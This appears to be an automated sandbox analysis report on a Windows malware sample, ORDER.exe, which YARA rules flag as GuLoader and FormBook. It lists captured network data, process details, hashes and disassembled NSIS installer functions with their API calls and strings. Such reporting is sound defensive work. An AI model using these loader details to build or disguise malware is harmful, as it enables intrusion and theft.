Sep 12, 2024 10:16:32.598562956 CEST	1289	IN	Data Raw: 26 cc c1 79 42 7b 36 26 c0 fa 4b 7e bd 4a c1 59 32 f8 e2 5a b8 93 a9 f2 e4 89 db b0 ea e1 10 de 4d 2f 58 ed 94 77 dc 03 be a8 93 a5 0d c7 06 5a 1c dc 6c 93 12 37 8e 57 10 9b f3 c3 b1 8d 0a 29 85 77 7a 8d e7 75 04 87 17 6b b7 f2 32 af 3e 23 31 18 Data Ascii: &yB{6&K~JY2ZM/XwZl7W)wzuk2>#1KR82seb[-LQ[WXsj9UTTZ}]xiK`x\|Gu7OV13`yvr.K eTt,i/R;2$&O})!Jc]r%@rRfc
Sep 12, 2024 10:16:32.821602106 CEST	1289	IN	Data Raw: 18 26 40 f2 c8 34 5c d4 9c 07 8e 90 ab 9e a1 8d 51 cb 11 14 8f 20 24 60 bc 72 05 aa 34 69 31 e4 6b 6b 87 14 8e be 90 9d 9b 7e 7c 40 89 ef 4f 4d 43 f2 0a 67 e9 dc aa fd de d1 aa b4 32 5c 9a ca 0f e1 66 b3 23 f7 3d 8a e7 34 73 38 cc f0 dd 37 39 5e Data Ascii: &@4\Q $`r4i1kk~\|@OMCg2\f#=4s879^& @=2{1wY^jrtX@vDx\5&box*k~:QE7Y`_#g;~3L#}-%t73$46;}
Sep 12, 2024 10:16:32.821683884 CEST	1289	IN	Data Raw: b8 82 c7 e8 13 8d 9f 5e a4 1d 3a e7 03 32 da bc 04 88 26 24 f2 8e 07 15 e4 b4 5b 36 a5 ba a9 27 9e f6 4a 45 36 57 3a 01 1d 66 33 01 b2 06 27 c9 e7 57 eb 7c fa a3 72 ca 26 d8 d9 67 86 8f a4 4a c8 d6 1f 29 e5 af 1f ae 54 3f 67 73 a8 e4 54 28 ff 2c Data Ascii: ^:2&$[6'JE6W:f3'W\|r&gJ)T?gsT(,[3v?L\j\|]1~Y?!(5&(@Wb`U!bN7~Ya[\|HiED_A%JU>hq3`rCl9s0gW}9L8qy8 fWJA[.hz
Sep 12, 2024 10:16:32.821746111 CEST	1289	IN	Data Raw: b1 3f 67 7d 06 8f 66 ba 9b cb 25 6b 59 e8 9c 82 85 f0 98 9b ff c3 f7 b0 31 71 1d f1 d1 d7 10 ab 83 3f 33 c2 30 10 0a 1c 7c 69 fe 14 b7 50 9d d0 a0 a1 71 17 32 e6 6d 32 b3 db bf 06 ec 80 41 68 ad d5 e8 a2 e9 ee 3a d8 83 0d 2a 55 6f 3d ca 4f ac 56 Data Ascii: ?g}f%kY1q?30\|iPq2m2Ah:*Uo=OV2AQ(e-05$ s\h/PL\-wa)lky8%P$Ff_Wo.\|}l)iVNP$9vFtZD
Sep 12, 2024 10:16:32.821805000 CEST	1289	IN	Data Raw: 4b 38 6d 1d 23 4a 91 01 85 18 e6 5d af 3d 8b 96 4e b1 df 94 ca 0a ff c3 31 66 8c bb af 48 00 e2 ca 55 c2 bb d9 65 8f 87 fc 2b fb 91 70 45 c8 ee 14 5c cb 24 84 cc 3d 94 1e bd d4 8c f5 93 8f 46 60 52 65 b5 0e 0d f4 e0 50 3f 31 47 01 cb 95 49 32 bf Data Ascii: K8m#J]=N1fHUe+pE\$=F`ReP?1GI2aUbs:5r>S$TpTgl7:;ty gWGDESY[SASOy{4:Ipr`c1HxNGVXhZZG4@d]@)clx$156
Sep 12, 2024 10:16:32.821860075 CEST	1289	IN	Data Raw: 59 8b ad cf 3e 72 a5 4d 41 e0 4a 56 7a 5a 95 f1 79 46 c2 c0 21 ed e6 ec f1 1d 07 c4 c4 fe 23 93 fe a6 48 89 03 19 9f aa 86 af 89 31 c7 bc 7a 36 26 2b fc c6 e5 bd 4a c1 59 8a 75 22 52 34 64 47 f1 32 48 21 b6 61 13 d1 30 52 2c aa 98 7f fc 89 13 35 Data Ascii: Y>rMAJVzZyF!#H1z6&+JYu"R4dG2H!a0R,5jRMB.CW)o+G!:W)syTX2,+>9v)B&#exN~LQQsg!BV@P*ikUY{x]\| .u#6DBBrp13kRrDo-xq]]}tR
Sep 12, 2024 10:16:32.821913958 CEST	1289	IN	Data Raw: 6c ff 01 cc 3e ba c9 b7 07 2d 74 88 22 55 54 20 0f 54 f3 b4 af 24 3f eb d6 a4 04 98 69 2f 52 d8 47 0d 9b 92 43 f0 0c 27 43 d9 dc 4a 36 c0 bc c0 3e 14 80 f7 88 2f ad 14 d6 9b 96 7c b2 8f 72 44 6c 4c f3 7b b5 26 4c 62 53 17 80 63 69 46 17 cf 43 bd Data Ascii: l>-t"UT T$?i/RGC'CJ6>/\|rDlL{&LbSciFC%@#\HLRhqZWQQVOBqAep_X"He<ZUh?#PA"4MB1g!m)&G+$%MnkC7*{"<8Gw
Sep 12, 2024 10:16:32.821981907 CEST	1289	IN	Data Raw: 9e d2 93 38 e8 4f d1 90 d9 3d 4b f2 0c 81 d6 d9 de af 3b 7e 39 99 bc df bf 99 e3 77 a3 16 58 87 0e b7 a1 98 3f e7 d1 50 ee a8 c5 07 63 71 4e 95 4a 9a b7 d4 99 d4 f3 31 20 c3 7a da 8c 23 e0 e8 24 79 58 40 5c 48 b2 49 50 60 cf 91 78 82 b7 cd b1 21 Data Ascii: 8O=K;~9wX?PcqNJ1 z#$yX@\HIP`x! PjKl\r!8p2Of&TZ^sAI;R}b-RMj'P;^['!THs,wS4#-tC_&8i`G`kW7n/F@$C

Target ID:	0
Start time:	04:16:03
Start date:	12/09/2024
Path:	C:\Users\user\Desktop\ORDER.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ORDER.exe"
Imagebase:	0x400000
File size:	493'216 bytes
MD5 hash:	08D42759644A2B6C75D6E1CDF188BF40
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.32236386433.00000000050E4000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:16:26
Start date:	12/09/2024
Path:	C:\Users\user\Desktop\ORDER.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ORDER.exe"
Imagebase:	0x400000
File size:	493'216 bytes
MD5 hash:	08D42759644A2B6C75D6E1CDF188BF40
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.32881458791.0000000032090000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.32881458791.0000000032090000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:16:36
Start date:	12/09/2024
Path:	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe" -s
Imagebase:	0x140000000
File size:	16'696'840 bytes
MD5 hash:	731FB4B2E5AFBCADAABB80D642E056AC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.7%
Dynamic/Decrypted Code Coverage:	14.4%
Signature Coverage:	19.6%
Total number of Nodes:	1463
Total number of Limit Nodes:	41

Executed Functions

Function 00403217 Relevance: 79.1, APIs: 27, Strings: 18, Instructions: 337
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 00403238
SetErrorMode.KERNELBASE(00008001), ref: 00403243
OleInitialize.OLE32(00000000), ref: 0040324A

Part of subcall function 00406061: GetModuleHandleA.KERNEL32(?,?,?,0040325C,00000009), ref: 00406073
Part of subcall function 00406061: LoadLibraryA.KERNELBASE(?,?,?,0040325C,00000009), ref: 0040607E
Part of subcall function 00406061: GetProcAddress.KERNEL32(00000000,?), ref: 0040608F

SHGetFileInfoA.SHELL32(0041ECB8,00000000,?,?,00000000,00000009), ref: 00403272

Part of subcall function 00405D36: lstrcpynA.KERNEL32(?,?,00000400,00403287,00422F00,NSIS Error), ref: 00405D43

GetCommandLineA.KERNEL32(00422F00,NSIS Error), ref: 00403287
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\ORDER.exe",00000000), ref: 0040329A
CharNextA.USER32(00000000,"C:\Users\user\Desktop\ORDER.exe",00000020), ref: 004032C5
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 004033C2
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004033D3
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033DF
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033F3
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004033FB
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 0040340C
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403414
DeleteFileA.KERNELBASE(1033), ref: 00403428
OleUninitialize.OLE32(?), ref: 004034D6
ExitProcess.KERNEL32 ref: 004034F6
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\ORDER.exe",00000000,?), ref: 00403502
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop), ref: 0040350E
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040351A
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 00403521
DeleteFileA.KERNEL32(0041E8B8,0041E8B8,?,00424000,?), ref: 0040357A
CopyFileA.KERNEL32(C:\Users\user\Desktop\ORDER.exe,0041E8B8,?), ref: 0040358E
CloseHandle.KERNEL32(00000000,0041E8B8,0041E8B8,?,0041E8B8,00000000), ref: 004035BB
GetCurrentProcess.KERNEL32(?,?,00000006,00000005,?), ref: 00403614
ExitWindowsEx.USER32(00000002,80040002), ref: 0040366C
ExitProcess.KERNEL32 ref: 0040368F

Strings

TMP, xrefs: 0040340F
C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike, xrefs: 004034B3
TEMP, xrefs: 00403407
\Temp, xrefs: 004033D9
NSIS Error, xrefs: 00403278
", xrefs: 004032EA
~nsu.tmp, xrefs: 004034FC
C:\Users\user\Desktop\ORDER.exe, xrefs: 00403589
"C:\Users\user\Desktop\ORDER.exe", xrefs: 0040328D, 00403293, 0040344C
C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike, xrefs: 004033A7, 004034A8, 00403527, 00403530
`K$w, xrefs: 00403400
Error launching installer, xrefs: 0040348E
Low, xrefs: 004033F5
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403227
1033, xrefs: 00403423
C:\Users\user\Desktop, xrefs: 00403507, 0040350C, 0040352F
C:\Users\user\AppData\Local\Temp\, xrefs: 004033B7, 004033BC, 004033D2, 004033DE, 004033ED, 004033FA, 00403406, 0040340E, 00403501, 0040350D, 00403519, 00403520, 004035CF
SeShutdownPrivilege, xrefs: 00403626

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: "$"C:\Users\user\Desktop\ORDER.exe"$1033$C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike$C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\ORDER.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$`K$w$~nsu.tmp
API String ID: 4107622049-4274076000
Opcode ID: a00b215820a1fa6a230efcb39fea29283eff6eac4ca07d0765cafeb017810fa6
Instruction ID: 3d26bb40307c87b2cd60c260c775e6d0301d96a10e68b952128d49a18977981a
Opcode Fuzzy Hash: a00b215820a1fa6a230efcb39fea29283eff6eac4ca07d0765cafeb017810fa6
Instruction Fuzzy Hash: 85B107706082517AE721AF659D8DA2B3EACEB41706F04447FF541BA1E2C77C9E01CB6E

Function 0040515D Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 004051BC
GetDlgItem.USER32(?,000003EE), ref: 004051CB
GetClientRect.USER32(?,?), ref: 00405208
GetSystemMetrics.USER32(00000002), ref: 0040520F
SendMessageA.USER32(?,0000101B,00000000,?), ref: 00405230
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00405241
SendMessageA.USER32(?,00001001,00000000,?), ref: 00405254
SendMessageA.USER32(?,00001026,00000000,?), ref: 00405262
SendMessageA.USER32(?,00001024,00000000,?), ref: 00405275
ShowWindow.USER32(00000000,?,0000001B,?), ref: 00405297
ShowWindow.USER32(?,?), ref: 004052AB
GetDlgItem.USER32(?,000003EC), ref: 004052CC
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 004052DC
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004052F5
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 00405301
GetDlgItem.USER32(?,000003F8), ref: 004051DA

Part of subcall function 00404021: SendMessageA.USER32(?,?,?,00403E52), ref: 0040402F

GetDlgItem.USER32(?,000003EC), ref: 0040531D
CreateThread.KERNEL32(00000000,00000000,Function_000050F1,00000000), ref: 0040532B
CloseHandle.KERNELBASE(00000000), ref: 00405332
ShowWindow.USER32(00000000), ref: 00405355
ShowWindow.USER32(?,?), ref: 0040535C
ShowWindow.USER32(?), ref: 004053A2
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004053D6
CreatePopupMenu.USER32 ref: 004053E7
AppendMenuA.USER32(00000000,00000000,?,00000000), ref: 004053FC
GetWindowRect.USER32(?,000000FF), ref: 0040541C
TrackPopupMenu.USER32(00000000,?,?,?,00000000,?,00000000), ref: 00405435
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405471
OpenClipboard.USER32(00000000), ref: 00405481
EmptyClipboard.USER32 ref: 00405487
GlobalAlloc.KERNEL32(00000042,?), ref: 00405490
GlobalLock.KERNEL32(00000000), ref: 0040549A
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004054AE
GlobalUnlock.KERNEL32(00000000), ref: 004054C7
SetClipboardData.USER32(?,00000000), ref: 004054D2
CloseClipboard.USER32 ref: 004054D8

Strings

Stvkonsekvenserne115 Setup: Installing, xrefs: 0040544D

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: Stvkonsekvenserne115 Setup: Installing
API String ID: 590372296-147676709
Opcode ID: ddce3f407c61e1ebc3cac1cca45d68d18475e72ad548d40fcbdeb08d48be2a44
Instruction ID: 24acf85f457993e5d1a00f4a74fbc0a00d7f38a893508f9c9f1f5035b4e63235
Opcode Fuzzy Hash: ddce3f407c61e1ebc3cac1cca45d68d18475e72ad548d40fcbdeb08d48be2a44
Instruction Fuzzy Hash: 5FA15BB1900208BFDB219FA0DD89AAE7F79FB08355F10407AFA04B61A0C7B55E51DF69

Function 00405D58 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(?,Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00000000,00405057,Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00000000), ref: 00405E09
GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 00405E84
GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00405E97
SHGetSpecialFolderLocation.SHELL32(?,00000000), ref: 00405ED3
SHGetPathFromIDListA.SHELL32(00000000,Call), ref: 00405EE1
CoTaskMemFree.OLE32(00000000), ref: 00405EEC
lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405F0E
lstrlenA.KERNEL32(Call,?,Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00000000,00405057,Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll,00000000), ref: 00405F60

Strings

Call, xrefs: 00405D7F, 00405E51, 00405E6E, 00405E83, 00405E96, 00405EB2, 00405EDD, 00405F0D, 00405F13, 00405F2B, 00405F3E, 00405F59, 00405F5F, 00405F6A, 00405F94
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405F08
Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll, xrefs: 00405D87
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405E53

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nst4C1A.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-2434263207
Opcode ID: 0d90defceccf7a3314d6588998510e1a0ef65c4c2f55f086f079bc5466073577
Instruction ID: 9c0e267699f90c8e910d98bdf84d4b8f2614ab6024826f89c9d009b20b1e8bc4
Opcode Fuzzy Hash: 0d90defceccf7a3314d6588998510e1a0ef65c4c2f55f086f079bc5466073577
Instruction Fuzzy Hash: 10610571A04905ABDF215F64DC84B7B3BA8DB55304F10813BE641B62D1D33C4A42DF9E

Function 004055F6 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,77232EE0,00000000), ref: 0040561F
lstrcatA.KERNEL32(00420D00,\*.*,00420D00,?,?,C:\Users\user\AppData\Local\Temp\,77232EE0,00000000), ref: 00405667
lstrcatA.KERNEL32(?,00409014,?,00420D00,?,?,C:\Users\user\AppData\Local\Temp\,77232EE0,00000000), ref: 00405688
lstrlenA.KERNEL32(?,?,00409014,?,00420D00,?,?,C:\Users\user\AppData\Local\Temp\,77232EE0,00000000), ref: 0040568E
FindFirstFileA.KERNELBASE(00420D00,?,?,?,00409014,?,00420D00,?,?,C:\Users\user\AppData\Local\Temp\,77232EE0,00000000), ref: 0040569F
FindNextFileA.KERNELBASE(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 0040574C
FindClose.KERNEL32(00000000), ref: 0040575D

Strings

"C:\Users\user\Desktop\ORDER.exe", xrefs: 004055F6
\*.*, xrefs: 00405661
C:\Users\user\AppData\Local\Temp\, xrefs: 00405604

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\ORDER.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3474549641
Opcode ID: 82da6914721141c23c952b2a557d454053f92afbcbfffd72d9d73708a50b9132
Instruction ID: a1a18f6d4a87cf364f513f4d5348cf8987bf6841df45d5f239a42b9e89fe31fb
Opcode Fuzzy Hash: 82da6914721141c23c952b2a557d454053f92afbcbfffd72d9d73708a50b9132
Instruction Fuzzy Hash: 8051D230905A04FADB216B618C89BBF7AB8DF42714F54803BF445721D2D73C4942EE6E

Function 00406310 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 743aa33a108d29f9cab5e819e308a9554fb8e98817c33194d1e30fb36f92eda3
Instruction ID: 49e2905b870d629617cd54a3ad4ea64d750052a334705c7e6b68d35cedeefd19
Opcode Fuzzy Hash: 743aa33a108d29f9cab5e819e308a9554fb8e98817c33194d1e30fb36f92eda3
Instruction Fuzzy Hash: 28F17970D00229CBCF28CFA8C8946ADBBB1FF45305F25856ED856BB281D3785A96CF45

Function 00402036 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407384,?,?,00407374,?,?,00000045,000000CD,00000002,000000DF,?), ref: 0040208B
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,?,00407374,?,?), ref: 00402143

Strings

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike, xrefs: 004020CB

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike
API String ID: 123533781-4182428349
Opcode ID: 6766bdf138d9a3476f59e6ec973922d24ccafdcf77b7cead4b35a4f15cd1a772
Instruction ID: 1053df79af30500630abfeafbcf843dcec04d0d4e3091bc204b5fde3a4f6985c
Opcode Fuzzy Hash: 6766bdf138d9a3476f59e6ec973922d24ccafdcf77b7cead4b35a4f15cd1a772
Instruction Fuzzy Hash: 3B416D71A00209BFCB40EFA4CE88E9E7BB5BF48354B2042A9F911FB2D1D6799D41DB54

Function 0040603A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(?,00421548,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,004058F7,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp,?,?,77232EE0,00405616,?,C:\Users\user\AppData\Local\Temp\,77232EE0), ref: 00406045
FindClose.KERNEL32(00000000), ref: 00406051

Strings

C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp, xrefs: 0040603A

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\Users\user\AppData\Local\Temp\nsg5EDA.tmp
API String ID: 2295610775-1753671414
Opcode ID: 1aa7e4dc1003f693668b82639e535814eeaefdc3a4332bebb0b1aa5890d42f5a
Instruction ID: ffb9975cce6792308ede9dbdbab0a2e32819aea082b360212a672f9e7c6ece7a
